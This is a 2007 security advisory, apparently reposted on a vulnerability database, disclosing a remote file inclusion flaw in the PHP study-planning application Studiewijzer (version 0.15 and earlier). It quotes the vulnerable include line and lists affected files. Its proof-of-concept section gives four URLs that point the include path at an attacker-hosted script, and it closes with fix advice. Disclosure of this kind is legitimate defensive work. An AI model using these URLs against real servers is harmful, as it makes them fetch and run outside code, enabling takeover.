Study planner (Studiewijzer) <= 0.15 Remote File Inclusion Vulnerability

🗓️ 22 Mar 2007 00:00:00Reported by RootType
Study planner <=& 0.15 Remote File Inclusion Vulnerability. Invalid include function at inc/service.alert.inc.ph

                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\_&nbsp;&nbsp;&nbsp;_____/\_&nbsp;&nbsp;&nbsp;___&nbsp;\&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;\&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\___\&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;\
/_______&nbsp;&nbsp;/&nbsp;\______&nbsp;&nbsp;/\___|_&nbsp;&nbsp;/\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_77$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_77$2007]&nbsp;Study&nbsp;planner&nbsp;(Studiewijzer)&nbsp;&lt;=&nbsp;0.15&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;March,&nbsp;21th&nbsp;2007
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Australia,&nbsp;Sydney
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv77-K-159-2007.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Dangerous
Impact	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;System&nbsp;access
Where	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;Study&nbsp;planner&nbsp;(Studiewijzer)&nbsp;&nbsp;
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&lt;=&nbsp;0.15
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.studiewijzer.nl/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://sourceforge.net/projects/splanner
Description&nbsp;:

A&nbsp;study&nbsp;planner,&nbsp;helping&nbsp;students&nbsp;to&nbsp;choose&nbsp;and&nbsp;plan&nbsp;the&nbsp;appropriate&nbsp;actions&nbsp;or&nbsp;tasks&nbsp;in&nbsp;order&nbsp;to&nbsp;reach&nbsp;their&nbsp;goals&nbsp;(PHP&nbsp;based)

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;inc/service.alert.inc.php&nbsp;:&nbsp;&nbsp;
&nbsp;&nbsp;	
----------------inc/service.alert.inc.php-------------------
&lt;?php
/**
&nbsp;*&nbsp;Alerting&nbsp;service
&nbsp;*
&nbsp;*&nbsp;$Author:&nbsp;jebbol&nbsp;$
&nbsp;*&nbsp;$Revision:&nbsp;1.1&nbsp;$
&nbsp;*&nbsp;$Date:&nbsp;2006/08/24&nbsp;17:33:44&nbsp;$
&nbsp;*
&nbsp;*&nbsp;@copyright&nbsp;Copyright&nbsp;(c)&nbsp;2005-2006&nbsp;Studiewijzer.nl
&nbsp;*&nbsp;@link&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.studiewijzer.nl
&nbsp;*&nbsp;@license&nbsp;&nbsp;&nbsp;http://www.gnu.org/copyleft/gpl.html
&nbsp;*/

include_once&nbsp;($SPL_CFG['dirroot'].'/class/stu.class.php');
...
----------------------------------------------------------------


Variables&nbsp;$SPL_CFG['dirroot']&nbsp;is&nbsp;not&nbsp;properly&nbsp;sanitized.
When&nbsp;register_globals=on&nbsp;and&nbsp;allow_fopenurl=on&nbsp;an&nbsp;attacker&nbsp;can&nbsp;exploit&nbsp;this&nbsp;vulnerability&nbsp;with&nbsp;a&nbsp;simple&nbsp;php&nbsp;injection&nbsp;script.

also&nbsp;affected&nbsp;files&nbsp;:
inc/settings.ses.php
db/mysql/db.inc.php
integration/shortstat/configuration.php
methodology/traditional/class/ali.class.php
methodology/traditional/class/cat.class.php
methodology/traditional/ui/inc/cat_browse.inc.php
methodology/traditional/ui/inc/chr_browse.inc.php
methodology/traditional/ui/inc/chr_display.inc.php
methodology/traditional/ui/inc/dash_browse.inc.php
ws/spl.webservice.php
ws/konfabulator/gateway_admin.php

and&nbsp;more&nbsp;..

Poc/Exploit:
~~~~~~~~~

http://www.target.com/[splanner_path]/inc/service.alert.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/inc/settings.ses.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/db/mysql/db.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/integration/shortstat/configuration.php?SPL_CFG[dirroot]=http://attacker.com/evil?



Solution:
~~~~~~

-&nbsp;Sanitize&nbsp;variable&nbsp;$SPL_CFG['dirroot']&nbsp;on&nbsp;affected&nbsp;file.
-&nbsp;Turn&nbsp;off&nbsp;register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;and&nbsp;my&nbsp;little&nbsp;son,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,&nbsp;str0ke&nbsp;(for&nbsp;the&nbsp;best&nbsp;comments)
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~&nbsp;SinChan,h4ntu,cow_1seng,sakitjiwa,&nbsp;m_beben,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;madkid,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,&nbsp;x16
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------
22 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1
Study planner (Studiewijzer) &lt;= 0.15 Remote File Inclusion Vulnerability

Study planner (Studiewijzer) <= 0.15 Remote File Inclusion Vulnerability
